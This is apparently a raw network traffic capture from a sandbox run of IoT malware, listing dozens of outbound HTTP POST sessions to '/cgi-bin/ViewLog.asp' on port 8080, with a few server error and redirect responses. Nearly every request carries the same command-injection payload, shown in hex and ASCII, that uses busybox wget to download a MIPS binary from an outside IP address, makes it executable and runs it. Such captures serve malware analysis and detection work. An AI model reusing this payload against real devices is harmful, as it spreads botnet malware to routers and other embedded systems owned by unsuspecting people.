                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                574192.168.2.154649685.242.120.848080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.717830896 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:32.920211077 CET430INHTTP/1.1 301 Moved Permanently
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Security-Policy: frame-ancestors 'self'
                                                X-XSS-Protection: 1; mode=block
                                                Strict-Transport-Security: max-age=15552000
                                                location: https://192.168.0.14:8443/cgi-bin/ViewLog.asp
                                                Date: Thu, 23 Nov 2023 04:22:32 GMT
                                                Connection: keep-alive
                                                Keep-Alive: timeout=5
                                                Transfer-Encoding: chunked
                                                Data Raw: 30 0d 0a 0d 0a
                                                Data Ascii: 0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                575192.168.2.154450662.171.185.2178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.959942102 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                576192.168.2.153832694.120.100.1588080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:32.990434885 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                577192.168.2.153947494.120.63.2028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.005887032 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:34.232805014 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.672765017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:38.520697117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.408535004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:55.928227901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                578192.168.2.155732495.86.72.48080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.045814991 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                579192.168.2.153413694.130.182.1218080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.155075073 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:33.433130026 CET417INHTTP/1.1 404 NOT FOUND
                                                Server: gunicorn
                                                Date: Thu, 23 Nov 2023 04:22:33 GMT
                                                Connection: close
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 462
                                                X-Robots-Tag: noindex, nofollow
                                                Set-Cookie: session=4dc6e7f0-d0f7-4199-9f7b-6fe471a074e8.2sq7E9-BufsgVYjtFcITOc6T8iI; Expires=Sat, 23 Dec 2023 04:22:33 GMT; HttpOnly; Path=/; SameSite=Lax


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                580192.168.2.154868694.131.60.1618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.182564974 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:33.286461115 CET1314INHTTP/1.1 400 Bad Request
                                                Server: squid/6.0.0-20220501-re899e0c27
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 04:22:33 GMT
                                                Content-Type: text/html;charset=utf-8
                                                Content-Length: 3572
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Vary: Accept-Language
                                                Content-Language: en
                                                Cache-Status: ezproxies.com
                                                Via: 1.1 ezproxies.com (squid/6.0.0-20220501-re899e0c27)
                                                Connection: close
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73
                                                Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2022 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. *//* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License*//* Page basics */* {font-family: verdana, s


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                581192.168.2.154254262.29.75.1538080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.217170954 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                582192.168.2.154761885.113.172.2188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.293559074 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:33.969146013 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                583192.168.2.155946485.198.184.1628080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.299894094 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                584192.168.2.153749294.123.241.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.305911064 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                585192.168.2.155318862.174.8.308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.326510906 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                586192.168.2.154003031.40.224.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:33.396243095 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:33.626895905 CET1340INHTTP/1.0 400 Bad Request
                                                Server: squid/3.1.23
                                                Mime-Version: 1.0
                                                Date: Thu, 23 Nov 2023 03:53:26 GMT
                                                Content-Type: text/html
                                                Content-Length: 3167
                                                X-Squid-Error: ERR_INVALID_URL 0
                                                Connection: close
